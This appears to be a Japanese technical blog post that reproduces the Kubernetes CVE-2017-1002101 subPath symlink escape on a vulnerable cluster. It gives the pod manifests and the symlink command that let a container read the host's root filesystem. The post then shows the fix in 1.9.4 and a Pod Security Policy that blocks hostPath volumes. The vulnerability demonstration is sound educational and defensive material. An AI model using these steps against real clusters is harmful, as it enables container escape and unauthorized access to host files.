kubernetes

English post is here

先日 Kubernetesに関して 2 つの脆弱性が発表されました

CVE-2017–1002101
In Kubernetes versions 1.3.x, 1.4.x, 1.5.x, 1.6.x and prior to versions 1.7.14, 1.8.9 and 1.9.4 containers using subpath volume mounts with any volume type (including non-privileged pods, subject to file permissions) can access files/directories outside of the volume, including the host’s filesystem.

CVE-2017–1002102
In Kubernetes versions 1.3.x, 1.4.x, 1.5.x, 1.6.x and prior to versions 1.7.14, 1.8.9 and 1.9.4 containers using a secret, configMap, projected or downwardAPI volume can trigger deletion of arbitrary files/directories from the nodes where they are running.

本日はこの についてどういう脆弱性なのか実際に試してみようと思います。

準備

まずは現時点での Kubernetes の最新版である 1.9.4 ではない cluster を準備します。

$ kubectl version --short
Client Version: v1.9.2
Server Version: v1.9.2

手元の cluster は 1.9.2 を準備しました。

も何も設定されていない状態です。

$ kubectl get podsecuritypolicy
No resources found.

この cluster に下記の Pod を起動させます。

apiVersion: v1
kind: Pod
metadata:
name: cve-2017-1002101
spec:
containers:
- name: busybox
image: busybox
command: ["sleep", "864000"]
volumeMounts:
- mountPath: /test
name: test-vol
volumes:
- name: test-vol
hostPath:
path: /tmp/test
type: DirectoryOrCreate

を使用して を mount します。
現時点では はまだ使いません。

$ kubectl get pods
NAME READY STATUS RESTARTS AGE
cve-2017-1002101 1/1 Running 0 2m

が起動したら の中に入ります。

$ kubectl exec -ti cve-2017-1002101 -- /bin/sh
/ #
/ # cd /test
/test # ln -s ../../.. malicious_link
/test # ls -l
total 0
lrwxrwxrwx 1 root root 11 Mar 16 01:02 malicious_link -> ../../..

mount した の中で を作成します。
これでホスト側の の中に という が作成された状態になります。
は実質 を見ることになります。

host 側で実際に確認してみます。

(host) $ ls -l /tmp/test/malicious_link
lrwxrwxrwx 1 root root 8 Mar 16 18:48 /tmp/test/malicious_link -> ../../..
(host) $ cat<<EOF>/here_i_am.txt
> Yeah!! I'm on the host's root dir!!
> EOF
(host) $ cat /tmp/test/malicious_link/here_i_am.txt
Yeah!! I'm on the host's root dir!!

この段階では先程の 内では は参照することはできません。

/ # cat /test/malicious_link/here_i_am.txt
cat: can't open '/test/malicious_link/here_i_am.txt': No such file or directory

実際に脆弱性を突いてみる

それではさっそくやってみましょう。悪用厳禁

先程の と同じ node に新しい を配置します。

今回は で配置するのでまずは対象の node に label をつけます

$ kubectl get pods cve-2017-1002101 -o jsonpath='{.spec.nodeName}{"\n"}'
cve-node1
$ kubectl label node cve-node1 vulnerability=true
node "cve-node1" labeled
$ kubectl get nodes cve-node1 -L vulnerability
NAME STATUS ROLES AGE VERSION VULNERABILITY
cve-node1 Ready node 23h v1.9.2 true

下記の pod を配置します。

apiVersion: v1
kind: Pod
metadata:
name: cve-2017-1002101-2
spec:
containers:
- name: busybox
image: busybox
command: ["sleep", "864000"]
volumeMounts:
- mountPath: /test
name: test-vol
subPath: malicious_link
volumes:
- name: test-vol
hostPath:
path: /tmp/test
type: Directory
nodeSelector:
vulnerability: "true"

今回の では を使用します。先程の で作成した として設定します。

に入り の中身を参照します。

$ kubectl exec -ti cve-2017-1002101-2 -- /bin/sh
/ #
/ # cat /test/here_i_am.txt
Yeah!! I'm on the host's root dir!!

このように簡単に host 側の を参照することが出来てしまいました。
もしこの pod が root 権限で動いているのならば host 側の全ての file にアクセスすることが可能です。
で実行 user が制限されていたとしても、その権限内でアクセスが可能になります。

最新版の 1.9.4 ではどうなっているのか

それでは脆弱性が修正された 1.9.4 ではどのような挙動になるのか見てみましょう。

の cluster を用意します。

$ kubectl version --short
Client Version: v1.9.4
Server Version: v1.9.4

先程と同じく を deploy して準備をしておき、node にも label を付けておきます。

$ kubectl get pods
NAME READY STATUS RESTARTS AGE
cve-2017-1002101 1/1 Running 0 2m

さっそく を deploy してみると・・・

$ kubectl get pods
NAME READY STATUS RESTARTS AGE
cve-2017-1002101 1/1 Running 0 2m
cve-2017-1002101-2 0/1 CreateContainerConfigError 0 2m

となり、pod の作成が出来なくなっています。修正されていますね!

kubelet の log には

failed to prepare subPath for volumeMount "test-vol" of container "busybox": subpath "/" not within volume path "/tmp/test"

と出力されます。

hostPath を使えないように Pod Security Policy を設定する

最新版の Kubernetes を使えればいいのですが、簡単に version up できない場合もあります。
その場合は対策として、そもそも による Volume の使用を禁止しておくのがいいと思われます。

その際に役に立つのが Pod Security Policy になります。

Pod Security Policy を有効にする

Pod Security Policy を有効にする為には を追加する必要があります。
これが無いとそもそも Policy を定義しても有効になりません。

Pod Security Policy を有効にした場合には必ず Policy を定義して下さい。
Pod Security Policy が有効な状態で Policy を何も定義していない状態だと何も操作できない状態になります。

Pod Security Policy を使っていない状態の policy は下記になります。(全て許可状態)

apiVersion: extensions/v1beta1
kind: PodSecurityPolicy
metadata:
name: privileged
annotations:
seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'
spec:
privileged: true
allowPrivilegeEscalation: true
allowedCapabilities:
- '*'
volumes:
- '*'
hostNetwork: true
hostPorts:
- min: 0
max: 65535
hostIPC: true
hostPID: true
runAsUser:
rule: 'RunAsAny'
seLinux:
rule: 'RunAsAny'
supplementalGroups:
rule: 'RunAsAny'
fsGroup:
rule: 'RunAsAny'

慣れるまではこちらをベースにいろいろ Policy を考えていったほうがいいでしょう。

hostPath を無効にする Policy

Pod Security Policy では による Volume の利用制限が可能です。
には様々な種類があります。
等があり、 も type の 1 つです。

default では全ての type を使うことができます。

volumes:
- '*'

Policy 内では許可する を設定することができますので、 含めなければいいことになります。

公式による推奨されている設定は下記になります。 は含まれていませんね。

volumes:
- 'configMap'
- 'downwardAPI'
- 'emptyDir'
- 'persistentVolumeClaim'
- 'secret'
- 'projected'

こちらの Policy を適用することで の利用を制限することができます。

実際に volumes の Policy を変更した後に を使った pod を起動させようとすると下記のようなメッセージが表示されます。

$ kubectl create -f cvepod.yaml
Error from server (Forbidden): error when creating "cvepod.yaml": pods "cve-2017-1002101" is forbidden: unable to validate against any pod security policy: [spec.volumes[0]: Invalid value: "hostPath": hostPath volumes are not allowed to be used]

ちゃんと制限されました。

まとめ

について実際に挙動を確認してみました。
さえ使うことができれば、比較的簡単に の外側にアクセスできることが出来てしまいます。

Kubernetes を提供しているサービスの管理者であるならば、 による Volume の利用を制限しておくべきでしょう。また、Kubernetes は最新にしておきたいですね。

脆弱性が修正された Kubernetes を使う場合でも Pod Security Policy で に指定できる場所の制限の制限をしておくといいでしょう。

という Policy を設定すれば に使用できる path を whitelist で登録することができます。

Pod Security Policy を適切に設定して、よりよい Kubernetes Life を!

追記

脆弱性が修正された 1.9.4 ですが、修正された際に Secret, ConfigMap, Projected, DownwardAPI で が使えなくなる問題が発生していました。こちらは 1.9.5 で修正されています

Makoto Hasegawa | kubernetes | CKA(#CKA-1700–0150–0100) | CKAD(CKAD-1800–0005–0100) | docker | container | OpenStack

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store